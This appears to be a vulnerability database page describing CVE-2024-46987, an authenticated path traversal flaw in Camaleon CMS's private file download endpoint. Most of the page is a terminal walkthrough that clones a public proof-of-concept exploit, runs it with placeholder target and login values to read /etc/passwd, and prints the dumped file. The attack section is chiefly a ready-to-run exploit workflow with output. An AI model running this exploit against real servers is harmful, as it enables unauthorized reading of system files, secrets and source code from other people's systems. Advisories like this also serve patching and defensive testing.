Skip to content
HackIndex logo

HackIndex

CVE-2024-46987:
Camaleon CMS (Path Traversal)

Published: Feb 21, 2026
Medium
Directory traversal

CVE-2024-46987 is an authenticated path traversal bug in Camaleon CMS where the “download private file” endpoint builds a file path from user input without properly preventing ../ style traversal, letting a logged-in attacker download arbitrary files from the web server (as permitted by filesystem rights). It causes information disclosure, often exposing configs, secrets, and source code that can be used for further compromise.

Web Camaleon CMS Path Traversal

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

Goultarde/CVE-2024-46987
Path Traversal bug PoC exploit
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/Goultarde/CVE-2024-46987.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2024-46987
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2024-46987.py -u http://$TARGET -l $USER -p $PASSWORD -v '/etc/passwd' 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
...